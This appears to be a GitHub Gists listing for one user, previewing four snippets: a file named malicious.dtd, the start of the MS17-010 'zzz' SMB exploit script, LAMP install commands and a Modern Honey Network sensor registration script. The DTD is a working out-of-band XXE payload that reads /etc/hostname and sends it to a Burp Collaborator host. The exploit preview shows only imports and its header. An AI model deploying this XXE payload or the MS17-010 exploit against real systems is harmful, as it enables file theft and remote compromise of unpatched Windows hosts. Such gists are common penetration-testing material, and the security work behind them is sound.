Andrey Balabanov ambalabanov

ambalabanov / malicious.dtd

Last active March 7, 2020 03:56

	<!ENTITY % file SYSTEM "file:///etc/hostname">
	<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://zadriffjsre35r3pumup3pij6ac10q.burpcollaborator.net/?x=%file;'>">
	%eval;
	%exfiltrate;

ambalabanov / ms17-010_zzz_exploit.py

Last active November 10, 2020 05:38

	#!/usr/bin/python
	from impacket import smb, smbconnection
	from mysmb import MYSMB
	from struct import pack, unpack, unpack_from
	import sys
	import socket
	import time

	'''
	MS17-010 exploit for Windows 2000 and later by sleepya

ambalabanov / LAMP

Last active July 8, 2017 13:08

LAMP

	sudo apt-get install apache2
	sudo apt-get install mysql-server
	sudo apt-get install php5
	sudo apt-get install php5-mysql

ambalabanov / MHN

Last active April 12, 2021 16:47

MHN registration

	curl $server_url/static/dionaea.conf
	curl $server_url/api/sensor/ > /tmp/deploy.json
	wget $server_url/static/registration.txt -O registration.sh
	chmod 755 registration.sh

	# hpfeeds info
	export HPF_HOST=$(echo $server_url \| sed 's#^http://##; s#^https://##; s#/.$##; s/:.$//')
	export HPF_PORT="10000"
	export HPF_IDENT=$(python -c 'import json;obj=json.load(file("/tmp/deploy.json"));print obj["identifier"]')
	export HPF_SECRET=$(python -c 'import json;obj=json.load(file("/tmp/deploy.json"));print obj["secret"]')